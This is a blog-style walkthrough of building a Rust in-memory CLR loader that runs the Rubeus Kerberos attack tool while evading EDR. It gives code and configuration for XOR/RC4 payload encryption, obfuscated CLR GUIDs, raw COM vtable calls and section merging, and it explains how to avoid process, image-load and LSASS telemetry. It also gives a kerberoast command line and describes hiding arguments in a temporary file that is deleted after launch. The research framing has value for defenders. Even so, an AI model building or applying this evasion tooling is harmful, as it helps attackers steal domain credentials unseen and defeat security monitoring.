In-Memory CLR Hosting in Rust with EDR Bypass

In-Memory CLR Hosting in Rust with EDR Bypass

Hello everyone, I’m Mohamed Elhadad. In this article, I’d like to share what I’ve learned while exploring in-memory CLR hosting using Rust and the concepts behind EDR evasion techniques. The goal of this write-up is to explain the implementation step by step and provide a clear understanding of how CLR hosting works internally, while discussing the techniques from a security research perspective. I hope this helps anyone interested in Windows internals, Rust, or offensive security. If you notice any mistakes, feel free to point them out I’m always learning.

Background: Why Build a Loader?

Rubeus.exe is a well-known .NET Kerberos abuse tool. Drop it raw and every mature EDR on the planet flags it within seconds both from file signature (its binary is in every vendor’s hash database) and behavioral signature (LSASS calls, ticket extraction patterns).

The goal of rubeus_loader.exe is to answer: can you run Rubeus in memory without ever writing Rubeus.exe to disk, without spawning a child process, and without triggering the EDR detections that catch conventional loaders?

The answer, walked through in full here, is yes and the mechanism is a combination of six independent evasion layers stacked in a single Rust binary.

Layer 0 The Binary Itself: #![no_std]#![no_main], Section Merge

Before a single byte of payload is decrypted, the loader binary itself is designed to be as featureless as possible.

#![no_std]
#![no_main]

These two lines remove:

The entire Rust standard library → no libstd
The default entry point wrapper → no mainCRTStartup / WinMainCRTStartup
The CRT dependency → msvcrt.dll and ucrtbase.dll are absent from the IAT
Because there’s no stdlib, the binary must provide its own memcpy/memset/memmove/memcmp these are required by the Windows linker even for no-CRT binaries:

#[no_mangle] pub unsafe extern "C" fn memcpy(d:*mut u8, s:*const u8, n:usize) -> *mut u8 {
 for i in 0..n { *d.add(i) = *s.add(i); } d
}

The entry point is declared manually with the Windows calling convention:

#[no_mangle]
pub unsafe extern "system" fn entry() -> ! { … }

And the linker is told about it via .cargo/config.toml:

rustflags = ["-C", "link-args=/ENTRY:entry /SUBSYSTEM:CONSOLE /MERGE:.rdata=.text /MERGE:.pdata=.text"]

/MERGE:.rdata=.text is significant. Normally string literals, GUID constants, and vtable data live in .rdata (read-only data section). By merging it into .text, there is no separate .rdata section for a static analysis tool or YARA rule to scan. Strings that would normally be trivially extractable with strings.exe are now interleaved with machine code bytes.

Cargo release profile:

opt-level = "z" # optimize for size (smallest binary)
lto = true # whole-program link-time optimization
codegen-units = 1 # single codegen unit - best dead-code elimination
panic = "abort" # no unwinding machinery
strip = false # keep symbols for debugging (strip in production)

EDR bypass value: EDR products that scan imports, section names, or apply strings to binaries see an executable with a minimal IAT (kernel32 + user32 + oleaut32 + mscoree), no .rdata section, and no recognizable string patterns.

Layer 1 Payload Encryption: XOR + RC4 Double Layer

cipher.bin on disk is not the payload. It is:

cipher.bin = XOR_0xB7( RC4_key( Rubeus.exe ) 

Two passes, two keys, applied in reverse at load time.

Why two layers?

  • The outer XOR 0xB7 ensures that even the RC4 ciphertext output which has statistical properties an entropy scanner might flag is additionally scrambled. The file looks like random noise with no detectable structure.
  • The inner RC4 encrypts the actual PE so that no MZ/PE header, no section names, no import table strings appear anywhere in cipher.bin.

RC4 key obfuscation the key itself is XOR’d with 0x41 in the binary:

// Stored in binary (never plaintext):
let ek: [u8;16] = [0x22, 0x5F, 0xCE, 0x85, 0x76, 0xD6, 0xC0, 0x53, ...];

// Recovered at runtime:
let mut key = [0u8; 16];
for i in 0..16 { key[i] = ek[i] ^ 0x41; }

An analyst extracting the key bytes from the binary with a hex editor gets the wrong key. The actual key only exists in heap memory for the duration of the decryption call, then is overwritten.

Decryption sequence in entry():

// 1. Read cipher.bin
let buf = read_file(path, &mut sz);

// 2. Strip file transport XOR
for i in 0..sz { *buf.add(i) ^= 0xB7; }

// 3. Recover key
let ek = [0x22u8, 0x5F, ...];
let mut key = [0u8; 16];
for i in 0..16 { key[i] = ek[i] ^ 0x41; }

// 4. RC4 in place
rc4(buf, sz, &key);

// 5. Validate MZ header
if sz < 0x40 || *buf != 0x4D || *buf.add(1) != 0x5A { ExitProcess(0); }

EDR bypass value: File-based scanning (AV, EDR on-write hooks) sees only cipher.bin no PE structure, no YARA-matchable content. The decrypted Rubeus.exe bytes exist only in heap memory allocated via HeapAlloc, never mapped from a file.

Layer 2 GUID Obfuscation: XOR 0x5A on All COM Interface IDs

This is the most targeted bypass in the whole loader. CLR-hosting detections both YARA rules and behavioral EDR signatures key heavily on the GUIDs of CLR interfaces, because those GUIDs are fixed and well-known. An 8-byte sequence detector that scans loaded PE images would find {9280188D-0E8E-4867-B30C-7FA83884E8DE} (CLSID_CLRMetaHost) and immediately know what the binary is doing.

fn xd16(enc: &[u8;16]) -> [u8;16] {
    let mut r = [0u8; 16];
    for i in 0..16 { r[i] = enc[i] ^ 0x5A; }
    r
}

Called like this:

// CLSID_CLRMetaHost bytes XOR'd with 0x5A stored in binary
let cls_cmh = xd16(&[0xD7,0x42,0xDA,0xC8,0xD4,0x54,0x3D,0x12,
                      0xE9,0x56,0x25,0xF2,0x62,0xDE,0xB2,0x84]);
// Decoded at runtime → {9280188D-0E8E-4867-B30C-7FA83884E8DE}

The same pattern covers:

  • IID_ICLRMetaHost
  • IID_ICLRRuntimeInfo
  • CLSID_CorRuntimeHost
  • IID_ICorRuntimeHost
  • mscorlib’s _AppDomain dual-interface GUID
  • mscorlib’s _Assembly dual-interface GUID
  • mscorlib’s _MethodInfo dual-interface GUID

EDR bypass value: Static YARA rules that match the raw GUID bytes (the most common CLR loader detection pattern) produce zero matches. The binary contains only the XOR-encoded versions, which look like arbitrary byte sequences.

Layer 3 Raw COM Vtable Dispatch (No Type Library, No Symbols)

This is where the technical complexity peaks. Conventional CLR-hosting code in C++ looks like this:

ICLRMetaHost* pMH = NULL;
CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (LPVOID*)&pMH);
pMH->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (LPVOID*)&pRI);

This requires #include <metahost.h>, which pulls in all the interface definitions and GUID symbols. Those symbols appear in the compiled binary as recognizable patterns.

The Rust loader has no header files, no type library. Every COM call is a raw vtable dereference:

// Generic vtable slot reader
unsafe fn vt_fn(obj: *mut c_void, slot: usize) -> *const () {
    let vtbl = *(obj as *const *const *const ());  // dereference vtable pointer
    *vtbl.add(slot)                                  // index to slot
}

// Example: ICLRMetaHost::GetRuntime is vtable slot 3
type FnGR = unsafe extern "system" fn(*mut c_void, *const u16, *const u8, *mut *mut c_void) -> i32;
let gr: FnGR = mem::transmute(vt_fn(mh, 3));
let hr2 = gr(mh, ver.as_ptr(), iid_ri.as_ptr(), &mut ri);

The vtable slot numbers are derived from the COM interface definitions in the Windows SDK header files. Here are the key ones used:

Press enter or click to view image in full size

The mscorlib dual-interface slots (_AppDomain slot 45, _Assembly slot 16, _MethodInfo slot 37) come directly from mscorlib.tlb the type library embedded in the .NET framework. The C++ managed.cpp in the Rubeus C++ loader makes this explicit with full struct IAppDomainManaged : public IDispatch declarations counting every virtual method.

EDR bypass value: No interface names, no method names, no metahost.h symbols appear anywhere in the binary. The COM calls are indistinguishable from raw memory operations to a static scanner.

Layer 4 Invoke_3 Dual Path: IDispatch vs Hardcoded Slot

Getting the entry point method invocation right across all CLR versions required two fallback paths:

// Try the clean path: ask COM what dispid "Invoke_3" has
let inv3n: [u16;9] = [b'I' as u16, b'n' as u16, b'v' as u16, b'o' as u16,
                       b'k' as u16, b'e' as u16, b'_' as u16, b'3' as u16, 0];
let mut inv3p: *const u16 = inv3n.as_ptr();
let mut dispid: i32 = 0;
let hr_n = gidn(ep, iid_null.as_ptr(), &mut inv3p, 1, 0x0409, &mut dispid);

if hr_n >= 0 {
    // IDispatch::Invoke with resolved dispid
    idinv(ep, dispid, ...)
} else {
    // Fallback: hardcoded slot 37 (oVft=296/8=37, from mscorlib.tlb)
    type FnInv3 = unsafe extern "system" fn(*mut c_void, *mut Variant, *mut c_void, *mut Variant) -> i32;
    let inv3: FnInv3 = mem::transmute(vt_fn(ep, 37));
    inv3(ep, &mut obj, psa2, &mut ret)
}

The string "Invoke_3" is constructed as a [u16; 9] array on the stack it never appears as a UTF-16 string literal in the binary. Any behavioral rule matching on IDispatch::GetIDsOfNames being called with "Invoke_3" would need to inspect the stack at runtime.

Layer 5 The ICorRuntimeHost vs ICLRRuntimeHost2 Choice

This is a subtle but important evasion decision. The modern CLR hosting interface is ICLRRuntimeHost2, introduced in .NET 4. Most modern CLR-hosting loaders use it because it exposes ExecuteInDefaultAppDomain and other convenient methods.

This loader deliberately uses the older ICorRuntimeHost interface chain (CLSIDCorRuntimeHost). Why?

ICLRRuntimeHost2::Start()the modern path is more heavily instrumented by the CLR’s own ETW provider. Several EDR products hook or monitor it specifically because it’s the path used by the most common public CLR-hosting loaders (like D/InvokeCLRvoyance, etc.). The older ICorRuntimeHost::Start() at vtable slot 10 is less commonly hooked because fewer modern loaders use it.

Layer 6 No Child Process, No New Image, No LSASS Touch

The entire Rubeus execution happens inside the loader process memory space:

rubeus_loader.exe PID 1234
  └── Heap: [decrypted Rubeus.exe bytes]
       └── CLR runtime loaded (mscoree.dll already in process)
            └── AppDomain.Load_3() → Rubeus.Main() executes
                 └── SSPI Kerberos calls via Windows APIs
                      (InitializeSecurityContext / AcquireCredentialsHandle)

What this means for detection:

  • Process tree: No Rubeus.exe process is ever created. Process creation events (Event ID 4688, Sysmon Event 1) show nothing.
  • Image load events: No Rubeus.exe image load (Sysmon Event 7). The assembly bytes come from AppDomain.Load_3(byte[]), which does not generate a standard image-load ETW event because it’s a byte array load, not a file path load.
  • Disk: Rubeus.exe never appears on disk. Only cipher.bin is present no PE structure visible.
  • LSASS: Rubeus Kerberoasting uses the SSPI path (InitializeSecurityContext → Kerberos package → KDC) rather than directly opening LSASS. This is the tgtdeleg / SSPI kerberoasting path it never calls OpenProcess(LSASS) or MiniDumpWriteDump. No LSASS access events.

Layer 7 Command-Line Argument Obfuscation: The @file Technique

Every EDR product with process-creation monitoring logs the full command line at the moment a process starts. On Windows this lands in Sysmon Event ID 1 (ProcessCreate → CommandLine field) and Windows Security Event 4688 (A new process has been created → Process Command Line). If you run:

.\rubeus_loader.exe .\payload_rubeus.bin kerberoast /spn:MSSQLSvc/sql-fin-01.dadx.asc.local:1433 /nowrap

The EDR captures exactly that. Every analyst watching the SIEM sees your SPN, your target, and the word kerberoast in plain text.

The Intent
Write the Rubeus arguments to a temporary file, then pass only the filename to the loader. The process command line logged by the OS shows:

CommandLine: rubeus_loader.exe payload_rubeus.bin @C:\Windows\Temp\r.cfg

The sensitive arguments live only in r.cfg on disk (briefly) and in the process heap after the loader reads them. Delete r.cfg immediately after launch and they exist nowhere persistent.

Security Note What This Does Not Hide
The @file technique hides the arguments from process-creation command-line logging only. It does not hide the Kerberos TGS-REQ on the wire (network detection still applies), the AssemblyLoad ETW event for Rubeus, or the Rubeus string literals in heap memory after CLR loads the assembly. It is one layer in the stack not a complete bypass.

Press enter or click to view image in full size

POC :

 
 
 
 
 
 
 
 

Make a Comment

Your email address will not be published. Required field are marked*